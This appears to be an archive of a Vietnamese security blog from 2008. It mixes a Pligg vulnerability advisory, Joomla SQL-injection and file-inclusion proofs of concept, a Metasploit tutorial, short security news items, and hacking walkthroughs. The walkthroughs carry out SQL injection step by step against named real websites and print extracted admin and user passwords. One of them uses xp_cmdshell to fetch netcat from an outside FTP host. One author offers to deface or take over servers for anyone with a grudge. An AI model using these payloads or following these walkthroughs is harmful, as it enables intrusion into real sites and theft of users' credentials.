Pligg <= 9.9.0 Multiple Vulnerabilities Thứ Sáu, Tháng 8 1 2008 

Description:
Pligg is a popular open source, full featured, content management
system written in php. There are a number of vulnerabilities
within Pligg that allow for remote file enumeration, file inclusion,
cross site scripting, and sql injection. When combined these issues
allow for remote code execution on the affected installation
via arbitrary php code placed within template files once admin
credentials are gained via SQL Injection.

Cross Site Scripting:
There are Cross Site Scripting issues in Pligg that allow for
theft of client side credentials such as cookies. An example
can be found in user.php. If the “view” parameter is set to
“search” then the “keyword” parameter can be influenced. This
is a result of un sanitized GPC variables being issued directly
to smarty via the assign function.

/user.php?view=search&keyword=<script>alert(document.cookie);</script>

The above example link would display the end users cookie to
them. Of course this can also be used to steal the cookie data
as mentioned earlier in this advisory.

Arbitrary File Access:
A number of file access issues exist in Pligg. They range from
the not so severe (such as arbitrary file enumeration) to the
much more severe (arbitrary file inclusion). In regards to the
arbitrary file enumeration a good example of it can be found in
trackback.php @ line 76

$contents=@file_get_contents($tb_url);
if(!$contents)
trackback_response(1,
$main_smarty->get_config_vars(‘PLIGG_Visual_Trackback_BadURL’));

The $tb_url variable gets it’s value directly from a post variable
as seen @ line 36, so, we can see how this can be easily used to
enumerate the existence of files on the web server both inside and
outside of the web accessible directories. If the file exists we will
get the “PLIGG_Visual_Trackback_BadURL” error. In addition to this
issue, an attacker may also include arbitrary files via a malformed
template request. Both template and language data within Pligg are
accepted via cookie input and are used in file handling operations
with no sanitation. The vulnerable code in question can be found in
config.php @ lines 65-68.

/settemplate.php?template=../LICENSE.txt%00

An easy way to see this issue in action is to set the malformed
“template” value via Pligg’s settemplate.php script as seen above.
The above example will successfully include the LICENSE.txt file
that ships with the application by default.

SQL Injection:
There are a substantial number of SQL Injection issues within Pligg
that allow for an attacker to read any data from the underlying
database including user credentials. The first file we are going to
look at is vote.php

$link = new Link;
$link->id=$_POST['id'];
$link->read_basic();

The above code can be found @ lines 19-21 and shows Pligg setting the
internal class variable “id” with data from the $_POST super global.
Now let’s have a look at the read_basic() function within the Link
class to see what exactly is being done with “id”

// check to see if the link is cached
// if it is, use it
// if not, get from mysql and save to cache

if (isset($cached_links[$id]) && $usecache == TRUE) {
$link = $cached_links[$id];
} else {
$link = $db->get_row(“SELECT ” . table_links . “.* FROM ” .
table_links . ” WHERE link_id = $id”);
$cached_links[$id] = $link;
}

As you can see in the above code taken from /libs/link.php @ lines
200-209 the “id” variable is never sanitized before being used in a
query. The result is a highly exploitable SQL Injection vulnerability.

md5=d41d8cd98f00b204e9800998ecf8427e&id=-99 UNION SELECT 1,2,3,null,5,
6,concat(user_login,char(58),user_pass),8,9 FROM pligg_users — /*

By sending a post request to vote.php with the above data an attacker
can successfully expose user credentials. Still, there are more SQL
Injection issues in Pligg, and next we will have a look at trackback.php

$trackres = new Trackback;
$trackres->link=$tb_id;
$trackres->type=’in’;
$trackres->url = $tb_url;
$dupe = $trackres->read();

The above code comes from trackback.php @ lines 68-72, and like the
issue we previously discussed in regards to vote.php also sends
unsanitized gpc data to an internal class variable (in this case
$trackres->link) where it is used in an SQL Query without ever being
sanitized.

/trackback.php?id=007 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM pligg_users
WHERE user_id=1 AND MID(user_pass,1,1)=concat(char(97)) — /*

A request like the one above made with the post method to trackback.php
and having the post contents of “url=1&title=1&blog_name=1″ can be used
to successfully enumerate database contents. In the example above Pligg
would return a “We already have a ping from that URL for this post.”
error if the first character of the first user’s password is “a”. Next
let’s have a look at submit.php @ lines 320-321 and you will see another
SQL Injection issue very similar to these first two that I have discussed.
Another SQL Injection issue can be found in story.php @ lines 45 where
the “requestTitle” variable is used in a query with no sanitation.
Another SQL Injection issue can be found in recommend.php @ lines 19-25.
The SQL Injection issues in recommend.php are possible through both the
“requestID” and the “requestTitle” variables. Another SQL Injection issue
can be found in cloud.php @ lines 35-36 via the categoryID parameter.
Another SQL Injection issue can be found within out.php and is not much
different from the previously discussed SQL Injection issues in Pligg.

/out.php?title=-99%27 UNION SELECT 1 FROM pligg_users WHERE user_id=1 AND
MID(user_pass,1,1)=concat(char(97))/*

The above url will allow an attacker to enumerate database data as
discussed earlier, and eventually gain admin credentials. Due to the large
number of SQL Injection issues in Pligg I will identify the remaining
issues with some simple examples of exploitation.

—[ login.php ]————————————————
/* Post Request */
processlogin=3&username=-99′ UNION SELECT
1,2,3,4,5,6,null,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26 FROM pligg_users WHERE user_id=1/*

/* Get Request */
/login.php?processlogin=4&username=-99′ UNION SELECT 1 FROM pligg_users
WHERE user_id=1/*&confirmationcode=1

—[ cvote.php ]————————————————
/* Post Request */
id=-99 UNION SELECT 1,null,3,4,5,6,7,8,9 FROM pligg_users/*
&md5=d41d8cd98f00b204e9800998ecf8427e

—[ edit.php ]————————————————-
/* Get Request */
/edit.php?id=1&commentid=-99 UNION SELECT 1 FROM pligg_users WHERE
user_id=1 AND MID(user_pass,1,1)=concat(char(49))/*

Solution:
The Pligg developers are aware of the issues mentioned in this advisory
and an updated version of Pligg should be available from their website.
All users are encouraged to upgrade their Pligg installations as soon
as possible.

Goolag “chỉ dẫn” hack qua Google Thứ Sáu, Tháng 8 1 2008 

Một công cụ mã mở chuyên quét lỗi bảo mật các website bằng cách khai thác chức năng tìm kiếm của Google vừa được nhóm hacker “The Cult of the Dead Cow” phát hành mang tên Goolag.

The Cult of the Dead Cow cho biết Goolag được tạo ra với mục đích hỗ trợ các webmaster thử nghiệm mức độ bảo mật cơ bản cho website của mình và vá lỗi kịp thời.
Trong thế giới ngầm trên mạng hiện cũng có khá nhiều các công cụ quét lỗi (scanner) bảo mật miễn phí như Wikto Scanner nhưng danh tiếng “đen” của nhóm “The Cult of the Dead Cow” 10 năm về trước khi cho ra mắt Back Orifice (*) đã giúp Goolag trở nên phổ biến hơn.

“Tôi không nghĩ có gì mới cả nhưng có thể nó giúp việc truy xuất khai thác hack từ Google dễ dàng hơn”, Robert Hansen, CEO của Sectheory.com và nhà sáng lập blog bảo mật Ha.ckers.org, cho biết.

Đúng như Robert Hansen nhận định. Goolag tuy không mới nhưng cách thức sử dụng của nó đã trở nên dễ dàng hơn so với các công cụ quét lỗi trước đây. Không chỉ hacker mà ngay cả những người không am hiểu nhiều về kỹ thuật hacking vẫn có thể sử dụng được. Đây là một tín hiệu đáng lo cho giới bảo mật và phát triển website.

(*) Back Orifice: được xem như là một trojan với khả năng hỗ trợ tin tặc điều khiển từ xa một máy tính sử dụng hệ điều hành Windows.
Thanh Trực (Theo New4Hack, TTO)

Các bản vá DNS hiện đang gây ra một số vấn đề Thứ Sáu, Tháng 8 1 2008 

Các bản vá được phát hành vào đầu tháng này nhằm vá một lỗi nghiêm trọng trong Domain Name System (DNS) đã làm xuất hiện một vấn đề đó là, làm chậm các máy chủ chạy BIND, đây là phần mềm DNS phổ biến nhất của Internet và làm tê liệt một số hệ thống đang sử dụng Windows Server.

Paul Vixie, người đứng đầu nhóm Internet Systems Consortium (ISC), một nhóm chịu trách nhiệm cho phần mềm BIND (Berkeley Internet Name Domain), đã cho biết rằng, có một số vấn đề đối với bản vá lỗi trong ngày 8 tháng 7 vừa qua, bản vá lỗi được đưa ra như một phần của nâng cấp nhằm vá lại một lỗi đã được phát hiện từ nhiều tháng trước.

“Trong suốt chu trình phát triển sản phẩm, chúng tôi đã thấy được vấn đề về hiệu suất trên các máy chủ đệ quy có lưu lượng cao, vấn đề được xác định ở đây khi bạn quan sát một số lượng lớn các truy vấn (khoảng hơn 10.000 truy vấn trên giây)”, Vixie đã nói vậy trong một thông báo gửi đến BIND mailing list vào hôm thứ Hai. “Với khung thời gian bị hạn chế và các rủi ro liên quan, chúng tôi phải chọn giải pháp dừng các bản vá ASAP và chuyển công việc của mình sang các phát hành kế tiếp nhắm đến các vấn đề hiệu suất của máy chủ”.

“Mục tiêu trước mắt của chúng tôi là công bố các bản vá đến người dùng sớm nhất càng tốt”, Vixie giải thích như vậy.

Tuy không chỉ rõ về phạm vi của các vấn đề hiệu suất đang phải đối mặt với các máy chủ DNS, nhưng Vixie đã nói rằng loạt các bản vá thứ hai, dự kiến sẽ phát hành vào cuối tuần này, sẽ cung cấp các vấn đề định cổng và cho phép các truy vấn TCP cũng như sự truyền tải giữa các vùng trong khi đó vẫn phát hành các truy vấn UDP tồn tại nếu có thể.

Các phiên bản của nâng cấp thứ hai, có tên mã P2, hiện đang được cung cấp dưới biểu mẫu beta cho BIND 9.4.3 và BIND 9.5.1.

Tuy nhiên Vixie đã nhấn mạnh rằng các quản trị viên không nên bỏ các phiên bản vá 8/7 thậm chí nếu các máy chủ của họ đang chạy một cách chậm chạp. “Cho tới khi nào phát hành P2 thì lỗ hổng mới liên quan nhiều hơn một máy chủ chậm chạp”, Vixie nói vậy.

Lỗ hổng mà Kaminsky đã phát hiện ra trong tháng Hai về việc chèn các thông tin không có thật vào cơ sở hạ tầng định tuyến của Internet. Một tấn công thành công theo lỗi này sẽ cho phép các kẻ tội phạm lặng lẽ gửi các yêu cầu từ một site xác thực đến một site không có thật nhằm lấy cắp một thông tin cá nhân, chẳng hạn như các mật khẩu cho các tài khoản ngân hàng trực tuyến từ những người dùng bị chúng lừa bịp.

Trong thời gian đầu tháng này, khi Kaminsky tuyên bố rằng lỗ hổng này đã được vá dưới sự nỗ lực của một số hãng, trong đó có ISC, Microsoft Corp. và Cisco Systems Inc., ông ta đã rất hoan nghêng sự cộng tác tích cực giữa các hãng này.

Tuy nhiên giờ đây việc vá lỗi DNS lại đang trở thành một vấn đề quan trọng hơn khi tuần trước đã xuất hiện một hacker khai thác lỗi này.

Qua những sự việc vừa qua cho chúng ta thấy, ISC không chỉ là một hãng đầu tư nhiều vào nghiên cứu nhằm khắc phục lỗi DNS giai đoạn 1 mà hãng này đã mạnh bạo thừa nhận một lỗi của mình. Cũng vậy, hai tuần cách đây, Microsoft cũng đã xác nhận rằng, nâng cấp 8/7 của hãng này vừa qua, MS08-037, đã gây lỗi cho các máy chạy Windows Small Business Server, cùng với một số chương trình khác và Windows Server 2003.

Một số khách hàng đã báo cáo về việc phát hiện ra các lỗi ngẫu nhiêm với các dịch vụ sau khi họ cài đặt MS08-037 vào 17/7 vừa qua.

Một thành phần SBS có thể gây lỗi khi khởi động là IPSEC service, dịch vụ này sẽ ngắt kết nối máy chủ với mạng, Microsoft cho biết như vậy.

Thứ Sáu tuần trước, công ty đã tiết lộ một số tài liệu hỗ trợ đã được viết theo các khía cạnh không hề được dự tính trước cho bản vá, nhưng trong đó cũng đưa Exchange Server 2003 và Internet Security and Acceleration (ISA) Server vào danh sách các thành phần bị ảnh hưởng.

Một vấn đề thứ hai có liên quan đến mỗi phiên bản đã được hỗ trợ của Windows, từ Windows 2000, XP và Vista đến Server 2003 và Server 2008. “Bạn có thể cảm nhận thấy các vấn đề phát sinh với các dịch vụ mạng phụ thuộc UDP sau khi cài đặt bản nâng cấp bảo mật cho dịch vụ Domain Name System (DNS) Server 953230 (MS08-037) và sau đó khởi động lại máy tính”, Microsoft đã nói như vậy.

Trong cả hai trường hợp, Microsoft đều đưa ra những cách giải quyết trong các tài liệu hỗ trợ nhưng hãng này vẫn chưa nói thời điểm nào sẽ phát hành bản vá lại. Khi được hỏi về vấn đề này, người phát ngôn của công ty này đã nói rằng: “Microsoft hiện chưa có kế hoạch nào để tái phát hành MS08-037”.
Văn Linh (Theo ComputerWorld)

Một hacker bị phạt hơn 3 năm tù giam và 65.000USD Thứ Tư, Tháng 6 18 2008 


được tài trợ bởihttp://vedepvn.com

Một hacker người Mỹ từng đột nhập vào mạng doanh nghiệp của tập đoàn Newell Rubbermaid vừa phải nhận hơn 3 năm tù và bồi thường 65.000USD cho người bị hại.

Đó là hacker Robert Matthew Bentley, sống tại thành phố Panama, bang Florida, đã bị tòa án quận Bắc Florida kết án. Thực ra Bentley có thể đã phải nhận tới 10 năm tù giam nhưng lại được giảm án.

Bentley bị buộc tội gian dối máy tính, có âm mưu thực hiện các hành vi gian dối máy tính khi sử dụng các mạng botnet (mạng máy tính do tin tặc điều khiển) để cài đặt phần mềm quảng cáo không được phép vào các máy tính khắp châu Âu.

Tội trạng của Bentley đã được kết luận bởi hàng loạt các cơ quan điều tra như: Đơn vị phòng chống tội phạm máy tính London, FBI, Cơ quan điều tra quốc gia Phần Lan, và các cơ quan an ninh khác của Mỹ.

Tuy nhiên, hiện các cơ quan điều tra vẫn chưa xác định được những kẻ đã giúp Bentley. Tin tặc này đã nhận tiền của một công ty có tên là DollarRevenue cho mỗi một máy tính cài đặt thành công phần mềm quảng cáo.

Thực ra các phần mềm quảng cáo khi cài đặt vào máy tính thì sẽ rất khó có thể loại bỏ, và chúng là nguồn cơn kích hoạt các pop-up không mong muốn. Rất nhiều hacker đã làm ăn bằng con đường này khi lợi dụng các lỗ hổng sẵn có của máy tính để cài đặt phần mềm độc hại.

Tháng 12/2007, DollarRevenue đã bị phạt 1 triệu euro tại Hà Lan cho hành vi phát tán phần mềm quảng cáo. Đây là mức phạt cao nhất mà một công ty tại châu Âu phải gánh chịu do quảng cáo trái phép.

Các cuộc điều tra cũng chỉ ra rằng mỗi lần cài đặt phần mềm quảng cáo của DollarRevenue trên máy tính châu Âu, tin tặc được trả 0,15 euro, còn tại Mỹ là 0,25USD.

Theo VnMedia (PC Advisor)

Joomla components com_guide “category” Remote SQL Injection Thứ Hai, Tháng 4 7 2008 

Aria-Security Team (Persian Security Network)
http://forum.aria-security.com
——————————–
Join our english forum @ http://forum.aria-security.com
Shoutz: Aura, Null, Kinglet, t3rr0r1st
Joomla components com_guide “category” Remote SQL Injection

Poc:

index.php?option=com_guide&category=-999999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

Regards,
The-0utl4w

Mambo/joomla com_intellect “page” LFI Thứ Hai, Tháng 4 7 2008 

Aria-Security Team (Persian Security Team)
http://forum.aria-security.com For English
http://forum.aria-security.net For Farsi
——————————————
Greetz: Aura, NULL, Kinglet, t3rr0r1st,
Mambo/joomla com_intellect “page” LFI

Poc:

index.php?option=com_intellect&page=../../../../etc/passwd

Regards,
The-0utl4w

Joomla Component com_lms SQL Injection Thứ Hai, Tháng 4 7 2008 

Aria-Security Team (Persian Security Network)
http://aria-security.net
———————————-
Joomla Component com_lms SQL Injection
Greetz: AurA, Mormoroth, Null, t3rr0r1st
Discovered by The-0utl4w
Vendor: joomlashowroom.com/

Vuln:
index.phpoption=com_lms&task=showTests&cat=somenum ber

Example:
-1 union select 1,concat(username,char(32),password),3,4,5,6,7 from jos_users/*

Hướng dẫn sử dụng Metasploit (Demo khai thác lỗi MS06-040) Thứ Tư, Tháng 4 2 2008 

Hôm nay mình giới thiệu cho các bạn một công cụ khai thác lỗ hổng bảo mật rất nổi tiếng – Đó là công cụ Metasploit Framework mà cả hacker hay những người quản trị mạng đều sử dụng với những mục đích khác nhau.
Các bạn có thể download bản Metasploit Framework mới nhất tại trang http://metasploit.com.
Trong bài này mình chỉ đi vào cách sử dụng Metasploit Framework trên Windows, các bạn muốn hiểu rõ hơn thì có thể vào trang web trên để biết thêm.

Sau khi thực hiện chạy Metasploit Framework bạn có thể sử dụng lệnh help để biết Metasploit bao gồm những lệnh gì.
show exploits: để cho ta biết được hiện tại Metasploit Framework có bao nhiêu lỗi bảo mật mà Metasploit Framework có thể khai thác được.
info <tên một exploit nào đó>: cho ta biết thông tin về loại lỗi bảo mật, tham số cần thực hiện khi khai thác, …
use <tên một exploit nào đó>: khai thác một lỗi bảo mật nào đó.

Để minh hoạ rõ ràng hơn mình sẽ demo khai thác lỗi MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040: hiện tại có rất nhiều server bị lỗi này . Khi bạn download và install Metasploit Framework 2.8 (hiện tại mình đang sử dụng) thì mã khai thác lỗi MS06-040 chưa có trong phiên bản Metasploit Framework 2.8. Do vậy bạn cần phải cập nhật mã khai thác lỗi này cho Metasploit Framework 2.8. Vậy mã khai thác được lấy ở đâu ? và cách thức cập nhật như thế nào cho Metasploit Framework 2.8.
Trang web milw0rm.com chắc ai cũng biết chứa rất nhiều mã khai thác. Các bạn có thể vào đây để lấy mã khai thác và cập nhật cho Metasploit Framework. Đây là một phần đoạn code mình lấy từ trên milw0rm.com

Trích dẫn:package Msf::Exploit::netapi_ms06_040;
use base “Msf::Exploit”;
use strict;use Pex::DCERPC;
use Pex::NDR;my $advanced = {
‘FragSize’ => [ 256, ‘The DCERPC fragment size’ ],
‘BindEvasion’ => [ 0, ‘IDS Evasion of the bind request’ ],
‘DirectSMB’ => [ 0, ‘Use direct SMB (445/tcp)’ ],
};

….

Khi các bạn save mã khai thác này thì cần phải đặt tên và phần mở rộng của tập tin là netapi_ms06_040.pm . Sau đó copy vào C:\Program Files\Metasploit Framework\home\framework\exploits\ . Sau khi copy vào thư mục trên có thể dùng lệnh reload trong môi trường làm việc của Metasploit Framework để cập nhật bản exploit hoặc khởi động lại Metasploit Framework.

Đoạn demo hack host với OS là Windows2000 (IP đích tấn công: 10.0.0.65) chạy trên máy ảo.

Chỉ nên sử dụng Metasploit Framework vào mục đích kiểm tra hệ thống.
Chúc các bạn thành công !

Solution:
http://www.securityfocus.com/bid/19409/solution

full guide:
http://metasploit.com./projects/Framework/documentation.html

Theo VNIT thấy nếu muốn sử dụng đc Metaexploit để thực tập thì cần nắm các lệnh cơ bản sau:
use <lỗi>
setg RHOST <ip> // thiết lập máy victim
setg LHOST <ip> // thiết lập localhost
exploit //bắt đầu khai thác
use -m <gói> //gói có thể là Process, Net…
execute -f cmd -c //khai thác bằng MS-DOS
interact <id> //chuyển vào chế độ DOS chạy trên máy victim

đến đây rồi thì thoải mái mà share, format, di chuyển, copy… tóm lại là cứ như trên máy mình.
Vấn đề mà mình thắc mắc là các PAYLOAD nào thì được dùng với exploit nào, và điều khiển một máy trên Internet thì làm sao để set RHOST, vì IP của nó là IP động mà.

Khai thác SQL Injection để hack DB Thứ Tư, Tháng 4 2 2008 

Bài viết này do bạn Neo viết ra, nhằm giúp đỡ các bạn không biết gì về Hack có thể Hack được một trang Web khi phát hiện bị lỗi SQL Injection và có sử dụng OLE DB đồng thời cũng để khích lệ các thành viên và điều hành viên tích cực Post bài và săn Bug nhiều hơn nữa trong forumj của bạn ấy. Vì thấy đây là 1 bài viết khá bổ ích nên muội đã sưu tầm lại cho các huynh tìm hiểu.

======================

Ở đây tôi xin giới thiệu cách Hack vào Website http://www.equipmentworldindia.com vì Website này không có nhiều thông tin quan trọng nên mức ảnh hưởng khi đưa ra cho các bạn thực hành sẽ không cao.

Bây giờ ta bắt đâu công việc

bug : http://www.equipmentworldindia.comsh…asppid= 1’/

Kết quả

Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E14)

Unclosed quotation mark before the character string ”.

shopViewProduct.asp, line 115

1. Thu thập cấu trúc dữ liệu

Ta bắt đầu lấy cấu trúc dữ liệu của Website này.

Lấy Table đầu tiên trong CSDL của Website

Trích dẫn:httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables))##sp_ password

Cho ta kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘EWIAlsoArticle’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có table đầu tiên ‘EWIAlsoArticle’

Lấy tiếp table thứ hai

Trích dẫn:httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables%20wher e%20table_name%20not%20in%20(’EWIAlsoArticle’)))## sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘dtproperties’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy table thứ hai là ‘dtproperties’

Lấy tiếp table thứ ba

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20table_ name%20from%20information_schema.tables%20where%20 table_name%20not%20in%20(’ewialsoarticle’,’dtprope rties’)))/##sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘ewi_Admin_User’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có table thứ 3 là ‘ewi_Admin_User’ một Table quan trọng.

Nếu muốn các bạn có thể tiếp tục lấy thêm các table khác, để lấy được đúng table mà bạn cần.

Làm tương tự cho các table tiếp theo, các bạn có thể lấy được table EWIUsers là Table chứa thông tin về thành viên đăng ký trong Website này.

2. Lấy User và Pass Admin

Biết Table Admin là ta phải thu thập nốt các Column trong Table đó.

Lấy Column đầu tiên

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)))/##sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘Userid’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có Column đầu tiên là ‘Userid’
Sau đó lấy tiếp column tiếp theo bằng where column_name not in bằng URL sau

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)%20and%20column_nam e%20not%20in%20(’userid’)))/##sp_password

Kết quả

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘Password’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta lấy được column thứ hai là Password.

Bây giờ thì ta lấy Pass Admin được dễ dàng.

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20userid %2b”%2bpassword%20from%20ewi_admin_user))/##sp_password

Kết quả là

Trích dẫn:Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘ewistarplus’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy UserPass của Admin là ewistarplus

Đăng nhập thử

http://www.equipmentworldindia.com

Đăng nhập thành công. Bạn đã là Admin của Site này.

Và từ đó có thể quản lý người dùng dễ dàng. Tuy nhiên phần dưới đây tôi vẫn trình bày cách lấy User và Pass của người dùng nhằm mục đích phần này để các bạn tự làm theo giống như đã là với lấy Pass Admin. Nếu ko làm được các bạn có thể xem Guide tiếp.

3. Lấy thông tin người dùng

Table chứa User và Pass của người sử dụng trong site này là ‘EWIUsers’. Các bạn thu thập các column của table này và có danh sách các column như sau

Trích dẫn:‘User_Id’,’Loginname’,’Password’,’UserType’,’Creat iondate’
(Thông qua URL http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewiusers’)%20and%20column_name%20no t%20in%20(’user_id’,’loginname’,’password’,’userty pe’,’creationdate’)))/##sp_password)

Lấy User và Password của người dùng đầu tiên

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers))/##sp_password

Kết quả

Trích dẫn:Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘advanced1advanced1′ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy UserPass của người dùng đầu tiên là advanced1advanced1

Đăng nhập thử http://www.equipmentworldindia.com

Nhập User và Pass vào Form Login phía tay trái, đăng nhập thành công. Done !

Bạn có thể lấy User và Pass của người dùng tiếp theo bằng where User_id not in

Ví dụ lấy UserPass của người thứ hai

Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers%20where%20us er_id%20not%20in%20(’1′)))/##sp_password

Kết quả

Trích dẫn:Microsoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘agilent1agilent1′ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy User và Pass của người thứ hai là agilent1agilent1

Đến đây tôi xin kết thúc bài viết của mình. Phần còn lại các bạn có thể tự làm nốt hoặc nghiên cứu gì đó cao siêu hơn.

Chúc các bạn Hack vui vẻ và đừng Drop DB của người ta nhé )

Kiến thức về SQL Injection (p3) Thứ Tư, Tháng 4 2 2008 

UPLOAD NETCAT LÊN SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..xp_cmdshell “echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af” %26 del f’)– (%3E == “>”)

echo open a.b.c.d >f
echo user a a >>f
echo bin >> f
echo cd a >>f
echo mget * >>f
echo quit >>f
ftp -v -i -n -s:f
del f

THẨM TRA XEM NETCAT ĐÃ ĐƯỢC UPLOAD THÀNH CÔNG CHƯA ?

http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ‘dir nx.exe’–
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))–
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘08/17/2003 11:31a 11,776 nx.exe’ to a column of data type int.
/Including/general.asp, line 840 .

Hack shop qua lỗi SQL server injection

gioi thieu so qua cho anh em biet ve hack sql server inject ha !

hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`.
o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac’ can hack ca server thi noi nhieu,noi dai dong lam…

Detail:
search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh em thuong dung nhu
www.google.com hoac www.froogle.google.com
www.av.com
www.alltheweb.com
yahoo.com
……
ok—-search for: allinurl: “/shop/viewproduct.asp” hoac may bac co the search = tu key word allinurl: “/shop/index.asp” (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra tat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac JET, hoac VB.net….net va de nay can phai co su no luc cua anh em trong viec test.
ok
co’ duoc muc tieu roi chon dai 1 thang,vd:

http://www.mcmessentials.com.au/shop…0&categoryid=5

okay co muc tieu roi bat dau test no ha

http://www.mcmessentials.com.au/shop/viewp…tegoryid=5′

neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ”.

/shop/include/viewproduct.asp, line 3

okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet.

ok bat dau tim table

co the test theo cac cach sau ma em da biet
Code:

;having 1=1–sp_password
‘having 1=1–sp_password
“having 1=1–sp_password
(having 1=1–sp_password
)having 1=1–sp_password
(space)having 1=1–_sp_password (%20 la space la khoang trang day)

thuong thi test = cau truy van (space)having 1=1–sp_password la duoc duyet qua ok
*luu y’ cac anh em 1 dieu rat can thiet
1–%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co –sp_password de marks log tranh bi phat hien

http://www.mcmessentials.com.au/shop…1–sp_password

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘categories.label’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/shop/include/viewproduct.asp, line 9

ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories

bay gio di lay user_name cua shop thong qua cau truy van sau
%2bconvert(int,user_name())–sp_password
day du la`

http://www.mcmessentials.com.au/shop…)–sp_password

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘braunshop’ to a column of data type int.

/shop/include/viewproduct.asp, line 3

‘braunshop’ la truong user_name cua shop
*luu y
2–truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko can quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi den chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai nghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang nao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi

ok bay gio ta se lan luot lay cac table tren column label
lay table thu 1 thong qua cau truy van sau
Code:

%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))–sp_password

day du la`

http://www.mcmessentials.com.au/shop…)–sp_password

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

